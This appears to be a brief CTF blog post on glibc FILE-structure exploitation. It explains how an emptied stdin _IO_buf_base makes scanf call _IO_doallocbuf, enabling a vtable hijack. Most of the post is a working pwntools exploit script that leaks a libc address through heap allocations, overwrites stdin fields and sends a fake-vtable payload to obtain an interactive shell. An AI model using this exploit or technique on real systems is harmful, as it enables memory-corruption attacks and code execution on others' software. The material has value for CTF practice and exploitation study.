PWN IOfile simple record
Jsjsj Lv2

PWN IOfile simple record (1)

PWN IO getc discussion

When getc will make _IO_buf_base empty, go to _IO_doallocbuf when it is empty

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
scanf:
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
_IO_doallocbuf:
void_IO_doallocbuf (_IO_FILE *fp){ if (fp->_IO_buf_base) # How to input buffer is not empty, return directly return;
if (!(fp->_flags & _IO_UNBUFFERED) || fp->_mode > 0) #check flag
if (_IO_DOALLOCATE (fp) != EOF) ## call vtable function return; _
IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);}
libc_hidden_def (_IO_doallocbuf)

_IO_doallocbuf:

Then trigger vtable to complete any hijacking, this question has a backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './chall'
elf = ELF(binary)
libc = elf.libc

io = process(binary, aslr = 1)
#$io = remote('127.0.0.1', 30001)
context.log_level = 'debug'
context.arch = elf.arch


myu64 = lambda x: u64(x.ljust(8, b'\x00'))
ub_offset = 0x3c4b30
codebase = 0x555555554000

def menu(idx):
# io.recvuntil('choice: ')
io.sendline(str(idx))
sleep(0.3)

def make(sz, d, idx=0):
menu(1)
io.recvuntil("size: ")
io.sendline(str(sz))
io.recvuntil("data: ")
io.sendline(d)
io.recvuntil("idx: ")
io.sendline(str(idx))

def free(idx):
menu(4)
io.recvuntil("idx: ")
io.sendline(str(idx))
make(0x500, 'a')
make(0x500, 'b', 1)
free(0)
make(0x500, '')

io.recvuntil("your buf: ")
libc_addr = myu64(io.recvn(6)) & ((1<<64) - 1 - 0xff)
if libc_addr & 0xf000 != 0:
sys.exit(1)

stdin_addr = libc_addr - 0x160
libc_base = libc_addr - 0x219c00
print(hex(libc_addr))
print(hex(libc_base))

# lets overwrite the stdin->_IO_buf_base
#gdb.attach(io, 'pie breakpoint 0x15396\nc\n')
gdb.attach(io,"b _IO_doallocbuf\n")
pause()
menu(1)
io.recvuntil("size: ")
io.sendline(str(stdin_addr+0x38+2))
io.recvuntil("data: ")
io.sendline('a')
io.recvuntil("idx: ")

# use scanf to send payload
ptr_chk_guard_addr = libc_base - 0x2890 # this guy lies in the tls. not ld.so
gadget = 0x406320
system = libc_base + 0x508f2
'''
scanf:
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
_IO_doallocbuf:
void_IO_doallocbuf (_IO_FILE *fp){ if (fp->_IO_buf_base) # How to input buffer is not empty, return directly return;
if (!(fp->_flags & _IO_UNBUFFERED) || fp->_mode > 0) #check flag
if (_IO_DOALLOCATE (fp) != EOF) ## call vtable function return; _
IO_setb (fp, fp->_shortbuf, fp->_shortbuf+1, 0);}
libc_hidden_def (_IO_doallocbuf)

'''
fake_io = p32(0xfbad208b) + b';sh;'
#fake_io += p64(ptr_chk_guard_addr) + p64(ptr_chk_guard_addr + 8)
#fake_io += p64(ptr_chk_guard_addr + 8)
#fake_io += p64(ptr_chk_guard_addr) * 4
#fake_io += p64(ptr_chk_guard_addr + 8)
payload = b'\x00' * (0xa0-8-3)
payload += p64(gadget) #vtable
#payload += b'\x00' * 0x200
#payload = payload.ljust(0xa70, b'\x00')
#payload += b'c' * 13 #+ fake_io
#payload = b'\x00' * 0x10

io.sendline(payload)
# io.recvuntil('choice: ')




io.interactive()
 Comments